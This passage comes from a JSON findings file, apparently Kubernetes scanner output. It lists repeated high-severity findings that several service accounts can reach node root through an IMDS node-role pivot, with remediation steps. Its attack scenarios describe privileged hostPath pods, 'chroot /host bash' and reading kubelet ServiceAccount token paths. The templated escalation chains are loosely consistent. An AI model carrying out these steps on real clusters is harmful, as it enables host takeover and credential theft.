        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_escape"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NODE-ESCAPE:ServiceAccount/ingress-only/default:node_escape",
    "rule_id": "KUBE-PRIVESC-PATH-NODE-ESCAPE",
    "severity": "HIGH",
    "score": 8.5,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/ingress-only/default` can reach **node escape** (host root) in 1 hop(s)",
    "description": "Subject `ServiceAccount/ingress-only/default` has a privesc path that terminates in the ability to schedule a pod with host-level access (`hostPath: /`, `privileged: true`, `hostPID`, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.\n\nThe chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):\n  1. `ServiceAccount/ingress-only/default` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod ingress-only/ingress-app-7bdfc6c57-5rxwj falls back to node IAM role via IMDS\n\nNode escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's `cni0/flannel.1/cali*` interface, and exfiltrate every projected ServiceAccount token by reading `/var/lib/kubelet/pods/*/volumes/.../token`. From there, those tokens cascade into more cluster-admin paths.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "default",
      "namespace": "ingress-only"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/ingress-only/default` → `node escape`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/ingress-only/default` yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/ingress-only/default`.",
      "Acting as `ServiceAccount/ingress-only/default`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod ingress-only/ingress-app-7bdfc6c57-5rxwj falls back to node IAM role via IMDS.",
      "Final step: a privileged pod with `hostPath: /` (or `hostPID + privileged: true`) is created. The attacker `chroot /host bash` and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert."
    ],
    "evidence": {
      "chain_summary": [
        "1. imds_node_role_pivot [IMDS reachable, IRSA unbound]"
      ],
      "first_action": "imds_node_role_pivot",
      "hop_count": 1,
      "target": "node_escape",
      "target_namespace": "",
      "techniques": [
        "imds_node_role_pivot"
      ]
    },
    "remediation": "Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/ingress-only/default` → `/`).",
    "remediation_steps": [
      "Identify which hop ends in `pod_create_*` or grants Pod Security violations (`privileged`, `hostPath`, `hostPID`, `hostNetwork`).",
      "Apply Pod Security Admission `restricted` profile to namespaces reachable from this chain: `kubectl label namespace \u003cns\u003e pod-security.kubernetes.io/enforce=restricted`. This blocks privileged pods at admission.",
      "Audit any namespace that is `privileged`-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.",
      "Remove the cited capability: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/ingress-only/default` → `/`).",
      "Wire admission policy (Kyverno `restrict-host-path-mount`, `disallow-privileged-containers`) so future pods cannot regress."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "default",
          "namespace": "ingress-only"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod ingress-only/ingress-app-7bdfc6c57-5rxwj falls back to node IAM role via IMDS"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.1",
        "title": "Minimize the admission of privileged containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_escape"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NODE-ESCAPE:ServiceAccount/lp-fixtures/sa-lp-narrow:node_escape",
    "rule_id": "KUBE-PRIVESC-PATH-NODE-ESCAPE",
    "severity": "HIGH",
    "score": 8.5,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/lp-fixtures/sa-lp-narrow` can reach **node escape** (host root) in 1 hop(s)",
    "description": "Subject `ServiceAccount/lp-fixtures/sa-lp-narrow` has a privesc path that terminates in the ability to schedule a pod with host-level access (`hostPath: /`, `privileged: true`, `hostPID`, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.\n\nThe chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):\n  1. `ServiceAccount/lp-fixtures/sa-lp-narrow` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod lp-fixtures/lp-narrow-app-6b8848bf64-n4wrj falls back to node IAM role via IMDS\n\nNode escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's `cni0/flannel.1/cali*` interface, and exfiltrate every projected ServiceAccount token by reading `/var/lib/kubelet/pods/*/volumes/.../token`. From there, those tokens cascade into more cluster-admin paths.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-lp-narrow",
      "namespace": "lp-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/lp-fixtures/sa-lp-narrow` → `node escape`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/lp-fixtures/sa-lp-narrow` yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/lp-fixtures/sa-lp-narrow`.",
      "Acting as `ServiceAccount/lp-fixtures/sa-lp-narrow`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod lp-fixtures/lp-narrow-app-6b8848bf64-n4wrj falls back to node IAM role via IMDS.",
      "Final step: a privileged pod with `hostPath: /` (or `hostPID + privileged: true`) is created. The attacker `chroot /host bash` and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert."
    ],
    "evidence": {
      "chain_summary": [
        "1. imds_node_role_pivot [IMDS reachable, IRSA unbound]"
      ],
      "first_action": "imds_node_role_pivot",
      "hop_count": 1,
      "target": "node_escape",
      "target_namespace": "",
      "techniques": [
        "imds_node_role_pivot"
      ]
    },
    "remediation": "Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/lp-fixtures/sa-lp-narrow` → `/`).",
    "remediation_steps": [
      "Identify which hop ends in `pod_create_*` or grants Pod Security violations (`privileged`, `hostPath`, `hostPID`, `hostNetwork`).",
      "Apply Pod Security Admission `restricted` profile to namespaces reachable from this chain: `kubectl label namespace \u003cns\u003e pod-security.kubernetes.io/enforce=restricted`. This blocks privileged pods at admission.",
      "Audit any namespace that is `privileged`-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.",
      "Remove the cited capability: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/lp-fixtures/sa-lp-narrow` → `/`).",
      "Wire admission policy (Kyverno `restrict-host-path-mount`, `disallow-privileged-containers`) so future pods cannot regress."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-lp-narrow",
          "namespace": "lp-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod lp-fixtures/lp-narrow-app-6b8848bf64-n4wrj falls back to node IAM role via IMDS"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.1",
        "title": "Minimize the admission of privileged containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_escape"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NODE-ESCAPE:ServiceAccount/lp-fixtures/sa-lp-orphan:node_escape",
    "rule_id": "KUBE-PRIVESC-PATH-NODE-ESCAPE",
    "severity": "HIGH",
    "score": 8.5,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/lp-fixtures/sa-lp-orphan` can reach **node escape** (host root) in 1 hop(s)",
    "description": "Subject `ServiceAccount/lp-fixtures/sa-lp-orphan` has a privesc path that terminates in the ability to schedule a pod with host-level access (`hostPath: /`, `privileged: true`, `hostPID`, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.\n\nThe chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):\n  1. `ServiceAccount/lp-fixtures/sa-lp-orphan` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod lp-fixtures/lp-orphan-app-68d649f6c5-465c8 falls back to node IAM role via IMDS\n\nNode escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's `cni0/flannel.1/cali*` interface, and exfiltrate every projected ServiceAccount token by reading `/var/lib/kubelet/pods/*/volumes/.../token`. From there, those tokens cascade into more cluster-admin paths.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-lp-orphan",
      "namespace": "lp-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/lp-fixtures/sa-lp-orphan` → `node escape`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/lp-fixtures/sa-lp-orphan` yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/lp-fixtures/sa-lp-orphan`.",
      "Acting as `ServiceAccount/lp-fixtures/sa-lp-orphan`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod lp-fixtures/lp-orphan-app-68d649f6c5-465c8 falls back to node IAM role via IMDS.",
      "Final step: a privileged pod with `hostPath: /` (or `hostPID + privileged: true`) is created. The attacker `chroot /host bash` and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert."
    ],
    "evidence": {
      "chain_summary": [
        "1. imds_node_role_pivot [IMDS reachable, IRSA unbound]"
      ],
      "first_action": "imds_node_role_pivot",
      "hop_count": 1,
      "target": "node_escape",
      "target_namespace": "",
      "techniques": [
        "imds_node_role_pivot"
      ]
    },
    "remediation": "Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/lp-fixtures/sa-lp-orphan` → `/`).",
    "remediation_steps": [
      "Identify which hop ends in `pod_create_*` or grants Pod Security violations (`privileged`, `hostPath`, `hostPID`, `hostNetwork`).",
      "Apply Pod Security Admission `restricted` profile to namespaces reachable from this chain: `kubectl label namespace \u003cns\u003e pod-security.kubernetes.io/enforce=restricted`. This blocks privileged pods at admission.",
      "Audit any namespace that is `privileged`-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.",
      "Remove the cited capability: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/lp-fixtures/sa-lp-orphan` → `/`).",
      "Wire admission policy (Kyverno `restrict-host-path-mount`, `disallow-privileged-containers`) so future pods cannot regress."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-lp-orphan",
          "namespace": "lp-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod lp-fixtures/lp-orphan-app-68d649f6c5-465c8 falls back to node IAM role via IMDS"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.1",
        "title": "Minimize the admission of privileged containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_escape"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NODE-ESCAPE:ServiceAccount/lp-fixtures/sa-lp-wildcard:node_escape",
    "rule_id": "KUBE-PRIVESC-PATH-NODE-ESCAPE",
    "severity": "HIGH",
    "score": 8.5,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/lp-fixtures/sa-lp-wildcard` can reach **node escape** (host root) in 1 hop(s)",
    "description": "Subject `ServiceAccount/lp-fixtures/sa-lp-wildcard` has a privesc path that terminates in the ability to schedule a pod with host-level access (`hostPath: /`, `privileged: true`, `hostPID`, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.\n\nThe chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):\n  1. `ServiceAccount/lp-fixtures/sa-lp-wildcard` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod lp-fixtures/lp-wildcard-app-7bb4d99f67-kd5xw falls back to node IAM role via IMDS\n\nNode escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's `cni0/flannel.1/cali*` interface, and exfiltrate every projected ServiceAccount token by reading `/var/lib/kubelet/pods/*/volumes/.../token`. From there, those tokens cascade into more cluster-admin paths.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-lp-wildcard",
      "namespace": "lp-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/lp-fixtures/sa-lp-wildcard` → `node escape`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/lp-fixtures/sa-lp-wildcard` yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/lp-fixtures/sa-lp-wildcard`.",
      "Acting as `ServiceAccount/lp-fixtures/sa-lp-wildcard`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod lp-fixtures/lp-wildcard-app-7bb4d99f67-kd5xw falls back to node IAM role via IMDS.",
      "Final step: a privileged pod with `hostPath: /` (or `hostPID + privileged: true`) is created. The attacker `chroot /host bash` and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert."
    ],
    "evidence": {
      "chain_summary": [
        "1. imds_node_role_pivot [IMDS reachable, IRSA unbound]"
      ],
      "first_action": "imds_node_role_pivot",
      "hop_count": 1,
      "target": "node_escape",
      "target_namespace": "",
      "techniques": [
        "imds_node_role_pivot"
      ]
    },
    "remediation": "Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/lp-fixtures/sa-lp-wildcard` → `/`).",
    "remediation_steps": [
      "Identify which hop ends in `pod_create_*` or grants Pod Security violations (`privileged`, `hostPath`, `hostPID`, `hostNetwork`).",
      "Apply Pod Security Admission `restricted` profile to namespaces reachable from this chain: `kubectl label namespace \u003cns\u003e pod-security.kubernetes.io/enforce=restricted`. This blocks privileged pods at admission.",
      "Audit any namespace that is `privileged`-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.",
      "Remove the cited capability: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/lp-fixtures/sa-lp-wildcard` → `/`).",
      "Wire admission policy (Kyverno `restrict-host-path-mount`, `disallow-privileged-containers`) so future pods cannot regress."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-lp-wildcard",
          "namespace": "lp-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod lp-fixtures/lp-wildcard-app-7bb4d99f67-kd5xw falls back to node IAM role via IMDS"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.1",
        "title": "Minimize the admission of privileged containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_escape"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NODE-ESCAPE:ServiceAccount/netpol-imds/default:node_escape",
    "rule_id": "KUBE-PRIVESC-PATH-NODE-ESCAPE",
    "severity": "HIGH",
    "score": 8.5,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/netpol-imds/default` can reach **node escape** (host root) in 1 hop(s)",
    "description": "Subject `ServiceAccount/netpol-imds/default` has a privesc path that terminates in the ability to schedule a pod with host-level access (`hostPath: /`, `privileged: true`, `hostPID`, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.\n\nThe chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):\n  1. `ServiceAccount/netpol-imds/default` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod netpol-imds/imds-allow-app-7f9f6cb9df-vdq6v falls back to node IAM role via IMDS\n\nNode escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's `cni0/flannel.1/cali*` interface, and exfiltrate every projected ServiceAccount token by reading `/var/lib/kubelet/pods/*/volumes/.../token`. From there, those tokens cascade into more cluster-admin paths.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "default",
      "namespace": "netpol-imds"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/netpol-imds/default` → `node escape`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/netpol-imds/default` yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/netpol-imds/default`.",
      "Acting as `ServiceAccount/netpol-imds/default`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod netpol-imds/imds-allow-app-7f9f6cb9df-vdq6v falls back to node IAM role via IMDS.",
      "Final step: a privileged pod with `hostPath: /` (or `hostPID + privileged: true`) is created. The attacker `chroot /host bash` and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert."
    ],
    "evidence": {
      "chain_summary": [
        "1. imds_node_role_pivot [IMDS reachable, IRSA unbound]"
      ],
      "first_action": "imds_node_role_pivot",
      "hop_count": 1,
      "target": "node_escape",
      "target_namespace": "",
      "techniques": [
        "imds_node_role_pivot"
      ]
    },
    "remediation": "Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/netpol-imds/default` → `/`).",
    "remediation_steps": [
      "Identify which hop ends in `pod_create_*` or grants Pod Security violations (`privileged`, `hostPath`, `hostPID`, `hostNetwork`).",
      "Apply Pod Security Admission `restricted` profile to namespaces reachable from this chain: `kubectl label namespace \u003cns\u003e pod-security.kubernetes.io/enforce=restricted`. This blocks privileged pods at admission.",
      "Audit any namespace that is `privileged`-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.",
      "Remove the cited capability: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/netpol-imds/default` → `/`).",
      "Wire admission policy (Kyverno `restrict-host-path-mount`, `disallow-privileged-containers`) so future pods cannot regress."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
